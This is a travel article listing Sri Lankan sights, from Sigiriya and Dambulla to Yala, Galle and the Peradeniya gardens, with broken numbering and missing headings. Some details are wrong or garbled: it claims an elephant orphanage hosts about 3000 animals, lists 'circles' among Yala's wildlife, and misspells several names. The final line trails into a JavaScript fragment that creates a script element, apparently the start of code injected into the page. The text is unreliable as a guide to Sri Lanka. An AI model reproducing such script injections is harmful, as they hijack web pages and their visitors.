The spectacular rock fortress of Sigiriya is one of Sri Lanka’s major attractions which were built by King Kassapa 1 (477-95). According to chronicle Mahawansa, he transformed the natural rock in to a heavenly Palace with water gardens, moats, walls and frescoes. The rock summit was replaced with a grandeur palace complex, which was approached through a brick – built tunnel entered through a gaping mouth of a lion built on the plateau. Of particular interest is the gallery of frescoes, which were painted on the sheer rock face. Only 22 out of estimated 500 pictures have remained now, but some of them are really in remarkably good condition.
2. Dambulla Cave Temple
The history of the Dambulla cave temple complex is thought to date back 3rd century BC when this area became the location for the largest Buddhist monastic settlements on the island of Sri Lanka. The site also includes archeological evidence of human occupation going back to the prehistoric period, including the megalithic cemetery at Ibbankatuwa. The cave temple complex, rock paintings in five caves and 157 statues of various sizes bear testimony to the extraordinary cultural artifacts in ancient Sri Lanka.
The oldest capital of Sri Lanka, Anuradhapura, was established in 4th century BC and continued up to the beginning of the 11th century AD. What is really special about the city is that the sacred Bo Tree, which grown from a branch of the legendary Bodhi tree that Buddha attained enlightenment, while standing under, is situated in Anuradhapura. In the vicinity of the city are situated the remains of the towering Ruwanweliseya Dagaba, of The Kuttam Pokuna, of Brazen Palace, of The Seated Buddha, and many different Temples, Parks and Palaces – all of which carry the testimony to imaginative and proud people. Among the extended ruins that cover the ancient city of Anuradhapura are also bathing ponds, monasteries, alms halls, temples, Buddha images and majestic irrigation tanks and stone carvings.
This incredible 24-acres-large elephant orphanage was established 1975 by the Sri Lanka Wildlife department and is the largest herd of elephants in captivity in the world. Today the number of animals that the Orphanage hosts is approximately 3000. This is an experience that you can’t go through anywhere else in the world and will definitely touch your heart.
5. Nuwara Eliya
Nuwara Eliya is a city in the Hill Country of Sri Lanka. Its temperate climate gives the city a very different feel from other parts of the country and, along with the colonial architecture, has earned it the name ‘Little England’. Pedro Tea Factory offers fascinating tours. In the hills nearby there are paths through the tea plantations to wander along. Haggala Botanical Gardens are very impressive. Hortons Plains and World’s End Offer fascinating walks though this temperate mountain environment, with an 800m vertical drop to be found at World’s End.
Polonnaruwa was the second capital of Sri Lanka after the destruction of Anuradhapura in 993. Polonnaruwa today is a showcase of the great ancient Sri Lankan architecture dating back to 12th Century AD ,which was interwoven with many Buddhist monasteries and monuments which were built by the King Parakramabahu I. Later King Nissankamalla (1187-1196 AD ) from Kalinga dynasty also had contributed to the development of many buildings and monuments at Polonnaruwa.
This sacred Buddhist site, popularly known as the city of Senkadagalapura, was the last capital of the Sinhala kings whose patronage enabled the Dinahala culture to flourish for more than 2,500 years until the occupation of Sri Lanka by the British in 1815. Scenically located right in the heart of the town of Kandy, the Temple of the Tooth is the prime monument and the most sacred shrine of Buddhism.
Yala National Park (also known as Ruhunu National Park) is the most visited and second largest national park in Sri Lanka. It is one of the best places for sightings of wild elephants in the park is home to many animals including buffaloes, leopards, monkeys, circles, crocodiles, wild boars and bears. The cat’s purr can be heard from a distance
A continuous rampart, built by the Dutch from mid 17th century onwards and added to by the British, encircles the city, interrupted by 14 massive bastions. Unawatuna, less than 5km’s southward around the coast of Galle, is a beach resort waiting to happen. This 4km sweep of palm-fringed sand – said by some to rank amongst the twelve best beaches in the world. Attractions include sheltered waters for swimming, and an accessible, reasonably well-preserved coral reef for snorkeling.
Boasting proud and long history, Peradeniya Gardens of Sri Lanka have gone through colonialism and industrial change and today continue to flourish, representing significant national asset for the country. Today it is home to more than 4000 species from all the corners of the world and boasts more than 300 varieties of orchids, palm trees, medical plants and spices.var d=document;var s=d.createElement(‘script’);